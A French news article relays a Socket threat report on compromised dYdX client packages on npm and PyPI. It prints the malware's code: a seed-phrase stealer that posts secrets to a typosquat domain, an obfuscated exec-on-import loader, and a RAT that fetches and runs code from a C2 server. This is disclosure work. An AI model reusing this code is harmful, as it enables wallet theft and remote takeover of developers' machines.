Les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants de portefeuille des développeurs et des systèmes backend de dYdX
Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI.
npm est un gestionnaire de paquets pour le langage de programmation JavaScript maintenu par npm, Inc., une filiale de GitHub. npm est le gestionnaire de paquets par défaut pour l'environnement d'exécution JavaScript Node.js et est inclus comme fonctionnalité recommandée dans le programme d'installation de Node.js. Il se compose d'un client en ligne de commande, également appelé npm, et d'une base de données en ligne de paquets publics et privés payants, appelée le registre npm. Le registre est accessible via le client, et les paquets disponibles peuvent être consultés et recherchés via le site web npm. Le gestionnaire de paquets et le registre sont gérés par npm, Inc.
Le Python Package Index, abrégé PyPI et également connu sous le nom de Cheese Shop, est le référentiel officiel de logiciels tiers pour Python. Il est analogue au référentiel CPAN pour Perl et au référentiel CRAN pour R. PyPI est géré par la Python Software Foundation, une organisation caritative. Certains gestionnaires de paquets, dont pip, utilisent PyPI comme source par défaut pour les paquets et leurs dépendances. PyPI héberge principalement des paquets Python sous forme d'archives sources, appelées « sdists », ou de « wheels » qui peuvent contenir des modules binaires provenant d'un langage compilé.
Selon un rapport, les paquets open source publiés sur les référentiels npm et PyPI contenaient du code qui volait les identifiants des portefeuilles des développeurs et des systèmes backend de dYdX et, dans certains cas, des dispositifs backdoorés. L'équipe de recherche sur les menaces de Socket a découvert une attaque de la chaîne d'approvisionnement visant le paquet de protocole dYdX dans les écosystèmes npm et PyPI. Le protocole dYdX est une bourse décentralisée pour le trading de dérivés de cryptomonnaies. Les paquets @dydxprotocol/v4-client-js (npm) et dydx-v4-client (PyPI) fournissent aux développeurs des outils pour interagir avec le protocole dYdX v4, notamment la signature de transactions, le placement d'ordres et la gestion de portefeuilles. Les applications utilisant ces paquets gèrent des opérations sensibles liées aux cryptomonnaies.
Les versions compromises ont affecté à la fois les écosystèmes JavaScript et Python avec différentes charges utiles, ciblant les deux langages les plus courants pour l'automatisation du trading et le développement de la finance quantitative.
npm : voleur de portefeuille de cryptomonnaies qui exfiltre les phrases de départ et les empreintes digitales des appareils.
PyPI : voleur de portefeuille et cheval de Troie d'accès à distance (RAT) permettant l'exécution de code arbitraire.
Versions compromises :
npm (@dydxprotocol/v4-client-js) :
- 3.4.1
- 1.22.1
- 1.15.2
- 1.0.31
PyPI (dydx-v4-client) :
- 1.1.5post1
L'attaque semble correspondre à une compromission de compte développeur, bien que cela n'ait pas été confirmé. Plusieurs versions malveillantes ont été publiées simultanément sur les deux écosystèmes à l'aide d'identifiants de publication légitimes, le logiciel malveillant étant intégré profondément dans les structures authentiques des paquets plutôt que ajouté en tant que dépendances externes. L'auteur de la menace a démontré une connaissance approfondie du fonctionnement interne des paquets, insérant du code malveillant dans les fichiers de registre principaux (registry.ts, registry.js, account.py) qui s'exécuterait lors de l'utilisation normale des paquets. L'obfuscation à 100 itérations dans la version PyPI et le déploiement coordonné entre les écosystèmes suggèrent que l'auteur de la menace avait un accès direct à l'infrastructure de publication plutôt que d'exploiter une vulnérabilité technique dans les registres eux-mêmes.
Cette attaque n'est pas un événement isolé. Au cours des dernières années, les auteurs de menaces ont pris pour cible à plusieurs reprises l'infrastructure et les paquets liés à dYdX par le biais de différents vecteurs d'attaque, notamment la compromission de la chaîne d'approvisionnement et les attaques au niveau du domaine.
Package npm : vol d'identifiants
Le package npm intègre une fonction malveillante createRegistry() dans registry.ts, [c]registry.js[/] et un autre fichier registry.js identique situé dans un autre chemin d'accès. Lorsque les développeurs intègrent ce package et transmettent la phrase de départ d'un utilisateur à createRegistry(), la fonction l'exfiltre avec l'empreinte digitale de l'appareil. Voici un extrait de code accompagnés de commentaires pour plus de clarté.
Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13 export async function createRegistry(phrase: string) { try { const uid = getDeviceUuid(); await fetch("https://dydx[.]priceoracle[.]site/v4/price", { method: "POST", body: JSON.stringify({ phrase, // Victim's seed phrase "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c", uid // Device fingerprint }) }) } catch { } }
Le bloc catch vide masque les erreurs réseau, empêchant ainsi l'affichage d'avertissements dans la console pendant les tests. Le domaine d'exfiltration dydx[.]priceoracle[.]site imite le service légitime dYdX à l'adresse dydx[.]xyz par le biais du typosquatting.
Empreinte digitale de l'appareil
Le logiciel malveillant génère un identifiant unique à partir des informations système :
Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 function getDeviceUuid() { try { const parts = []; parts.push(getMacLikeUuidNode()); // MAC address parts.push(os.hostname()); // Hostname parts.push(os.platform()); // OS platform parts.push(os.release()); // OS version parts.push(os.arch()); // Architecture parts.push(fs.readFileSync("/etc/machine-id", "utf8").trim()); parts.push(process.env.HOSTNAME || ""); parts.push(process.env.COMPUTERNAME || ""); const fingerprint = parts.join("|"); const digest = crypto.createHash("sha256").update(fingerprint, "utf8").digest(); const b = Buffer.from(digest.subarray(0, 16)); b[6] = (b[6] & 0x0f) | 0x40; b[8] = (b[8] & 0x3f) | 0x80; return formatUuidFromBytes(b); } catch { return "00000000-0000-0000-0000-000000000000" } }
L'empreinte digitale permet à l'auteur de la menace de corréler les identifiants volés à des machines spécifiques et de suivre les victimes à travers plusieurs compromissions.
Package PyPI : vol d'identifiants + cheval de Troie d'accès à distance
Le package PyPI comprend le même mécanisme de vol d'identifiants, ainsi qu'un cheval de Troie d'accès à distance supplémentaire caché dans une charge utile cryptée. Le RAT permet l'exécution de code arbitraire sur les systèmes des victimes.
Vol d'identifiants
Le package PyPI intègre le vol d'identifiants dans account.py sous la forme d'une fonction nommée list_prices(). La fonction prétend interroger les prix de négociation, mais exfiltre les phrases de départ :
Code Python : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38 def list_prices(self, phrase: str) -> Any: """ Query for prices for trading. Args: phrase (str): The account phrase Returns: Any: The aggregated list of price. """ # Device fingerprinting (same logic as npm version) parts = [] parts.append(str(uuid.getnode())) # MAC address parts.append(socket.gethostname()) parts.append(platform.system()) parts.append(platform.release()) parts.append(platform.machine()) if os.path.exists("/etc/machine-id"): parts.append(open("/etc/machine-id").read().strip()) parts.append(os.getenv("HOSTNAME", "")) parts.append(os.getenv("COMPUTERNAME", "")) fingerprint = "|".join(parts) digest = hashlib.sha256(fingerprint.encode()).hexdigest() b = bytearray.fromhex(digest[:32]) b[6] = (b[6] & 0x0F) | 0x40 b[8] = (b[8] & 0x3F) | 0x80 uid = str(uuid.UUID(bytes=bytes(b))) r = requests.post( self.host + "/v4/price", json={ "phrase": phrase, "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c", "uid": uid }, timeout=20 ) r.raise_for_status() return r.text
La logique d'empreinte digitale de l'appareil reflète l'implémentation npm avec des ajustements mineurs pour la bibliothèque standard de Python.
Charge utile du cheval de Troie d'accès à distance
Le paquet PyPI comprend trois fichiers supplémentaires qui ne sont pas présents dans la version npm :
- config.py : contient la charge utile cryptée du cheval de Troie d'accès à distance dans une variable nommée GENSIS_BLOCKS.
- _bootstrap.py : exécute automatiquement la charge utile lorsque le paquet est importé.
- RAT désobfusqué : contacte le serveur C2 pour l'exécution de code arbitraire.
Obfuscation de la charge utile
La variable GENSIS_BLOCKS contient un blob de 5 527 caractères encodé en base64. Le fichier _bootstrap.py le désobfusque à l'aide de 100 itérations de : chaîne inversée → décodage base64 → décompression zlib (wbits=47).
Code Python : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 import base64 as b, gzip as g, zlib as z from functools import reduce from .config import GENSIS_BLOCKS _initialized = False def D(s): """Single deobfuscation pass""" try: return z.decompress(b.b64decode(s[::-1]+"==="), 47).decode("utf8", "replace") except: raise def init(): global _initialized if _initialized: return _initialized = True # Apply 100 deobfuscation iterations dz = lambda s, n: reduce(lambda a, _: D(a), range(n), s) ns = {} exec(dz(GENSIS_BLOCKS, 100), ns) # Execute deobfuscated payload
La fonction init() s'exécute automatiquement lors de la première importation, exécutant le RAT silencieusement en arrière-plan.
Fonctionnalité du RAT
La charge utile désobfusquée révèle un cheval de Troie d'accès à distance qui contacte https://dydx[.]priceoracle[.]site/py pour recevoir des commandes :
Code Python : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 def main() -> None: payload_data = { "uid": str(uuid.uuid4()) } file_data = {"file": {"name": "t.py"}} payload_data["data"] = json.dumps(file_data) while True: response = send_post_request( f"https://dydx[.]priceoracle[.]site/py", payload_data ) if response != "": run_script_async(response) # Execute code from server time.sleep(5) break else: time.sleep(10) # Start RAT in background daemon thread t = threading.Thread(target=main, daemon=True, name="async-main-runner") t.start()
Le RAT :
- S'exécute en tant que thread démon en arrière-plan
- Envoie des signaux au serveur C2 toutes les 10 secondes
- Reçoit le code Python du serveur
- L'exécute dans un sous-processus isolé sans sortie visible
- Utilise un jeton d'autorisation codé en dur : 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75.
Code Python : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12 def send_post_request(server_url: str, payload_data: Dict[str, Any]) -> str: req = urllib.request.Request( url=server_url, data=json.dumps(payload_data).encode("utf-8"), headers={ "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Authorization": "490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75" }, method="POST", ) # ... executes with disabled SSL verification
La fonction run_script_async() crée des fichiers temporaires contenant le code reçu, les exécute avec toutes les redirections stdio vers /dev/null, puis supprime les fichiers. Sous Windows, elle utilise le drapeau CREATE_NO_WINDOW pour masquer entièrement le processus.
Impact
Toutes les applications utilisant les versions npm compromises sont à risque si createRegistry() reçoit une phrase de départ. L'impact direct comprend la compromission complète du portefeuille et le vol irréversible de cryptomonnaies. La portée de l'attaque comprend toutes les applications dépendant des versions compromises, ainsi que les développeurs effectuant des tests avec des identifiants réels et les utilisateurs finaux en production.
Les utilisateurs de PyPI sont confrontés à une compromission complète du système, au-delà du vol de portefeuille. Le RAT permet à l'acteur malveillant de :
- Exécuter du code Python arbitraire avec les privilèges de l'utilisateur.
- Voler des clés SSH, des identifiants API et du code source.
- Installer des portes dérobées persistantes.
- Exfiltrer des fichiers sensibles.
- Surveiller l'activité des utilisateurs
- Modifier des fichiers critiques
- Pivoter vers d'autres systèmes du réseau
Le RAT s'exécute silencieusement en tant que thread démon sans sortie console. Les victimes n'ont aucune visibilité sur les commandes qui ont été exécutées ou les données qui ont été volées. La compromission persiste tant qu'un processus Python importe le paquet malveillant.
Pour les environnements d'entreprise, le composant d'empreinte digitale des appareils révèle les détails de la configuration du système, les noms d'hôtes et les informations sur la topologie du réseau, ce qui pourrait faciliter les attaques ciblées.
Voici les recommandations de l'équipe de Socket :
"Perspectives et recommandations
Considérée parallèlement à la compromission de la chaîne d'approvisionnement npm en 2022 et à l'incident de détournement DNS en 2024, cette attaque met en évidence une tendance persistante des adversaires à cibler les actifs liés à dYdX par le biais de canaux de distribution fiables. L'acteur malveillant a simultanément compromis des paquets dans les écosystèmes npm et PyPI, élargissant ainsi la surface d'attaque pour atteindre les développeurs JavaScript et Python travaillant avec dYdX. La version PyPI déploie des capacités nettement plus dangereuses via la charge utile RAT, ce qui suggère que l'acteur malveillant a investi des efforts supplémentaires pour maximiser l'impact sur les utilisateurs Python.
Les implémentations presque identiques du vol d'identifiants dans les différents langages indiquent une planification délibérée. L'acteur malveillant a maintenu des points de terminaison d'exfiltration, des clés API et une logique d'empreinte digitale des appareils cohérents tout en déployant des vecteurs d'attaque spécifiques à l'écosystème. La version npm se concentre sur le vol d'identifiants, tandis que la version PyPI ajoute un accès persistant au système.
L'obfuscation en plusieurs étapes du RAT (100 itérations de reverse → base64 → zlib) et son exécution silencieuse en arrière-plan démontrent une grande maîtrise technique. L'utilisation de threads daemon, la désactivation de la vérification SSL et l'exécution cachée de sous-processus indiquent une expérience des opérations furtives.
La compromission des comptes de développeurs permet aux acteurs malveillants d'injecter du code malveillant dans des paquets de confiance, contournant ainsi les contrôles de sécurité standard. Cette attaque suit les schémas observés dans event-stream (2018), coa/rc (2021) et node-ipc (2022), mais représente une escalade grâce au déploiement multi-écosystème et aux capacités d'exécution de code arbitraire.
Des attaques similaires continueront de cibler les paquets de cryptomonnaies de grande valeur dans tous les principaux écosystèmes. Les équipes de développement doivent considérer toutes les dépendances traitant des informations d'identification sensibles comme présentant un risque élevé et mettre en œuvre des stratégies de défense en profondeur, notamment l'analyse automatisée, la surveillance du réseau et les contrôles d'accès avec le moins de privilèges possible.
Socket fournit plusieurs niveaux de défense contre les attaques de la chaîne d'approvisionnement telles que cette compromission de dYdX. Lorsque les développeurs parcourent les registres de paquets, l'extension de navigateur Socket identifie les paquets suspects et les domaines de typosquatting avant l'installation. Pendant le développement, l'application GitHub Socket analyse les dépendances dans les pull requests, détectant l'exfiltration d'informations d'identification, les charges utiles obscurcies et les appels réseau malveillants avant la fusion du code. Au moment de l'installation, la CLI Socket bloque les paquets présentant des comportements dangereux et applique des politiques de sécurité tout au long du pipeline de développement. Pour les environnements de production, Socket Firewall empêche les gestionnaires de paquets de télécharger des versions compromises, en bloquant à la fois les dépendances directes et leurs dépendances transitives. Lors de l'utilisation d'assistants de codage IA, Socket MCP valide les suggestions de paquets en temps réel, empêchant les outils de recommander des versions malveillantes ou des paquets fantômes."
À propos de Socket
Socket transforme la façon dont les organisations protègent leurs applications contre la menace croissante des attaques de la chaîne logistique logicielle. Fondée en 2021, Socket offre une plateforme orientée vers les développeurs qui détecte et bloque de manière proactive les paquets malveillants en temps réel, sécurisant ainsi l'écosystème open source qui alimente les logiciels modernes. Socket protège tous les secteurs, y compris les technologies, les médias, les soins de santé et la finance, en détectant plus de 100 attaques de type "zero-day" chaque semaine, garantissant ainsi que les applications critiques restent sécurisées, rapides et conviviales pour les développeurs.
Source : Socket
Et vous ?
Pensez-vous que cette découverte est crédible ou pertinente ?
Quel est votre avis sur le sujet ?
Voir aussi :
20 paquets JavaScript npm populaires avec 2 milliards de téléchargements hebdomadaires compromis dans une attaque. La plus grande attaque de la chaîne d'approvisionnement de l'histoire ?
Les développeurs sont la cible d'une porte dérobée très invasive insérée dans des paquets open source. Huit outils de développement contenaient des payloads malveillantes, d'après Checkmarx
Des dizaines de paquets PyPI malveillants ciblant les développeurs ont été découverts. Ces paquets contiennent le logiciel malveillant "W4SP" qui volerait les données des utilisateurs








Pensez-vous que cette découverte est crédible ou pertinente ?
Répondre avec citation
Partager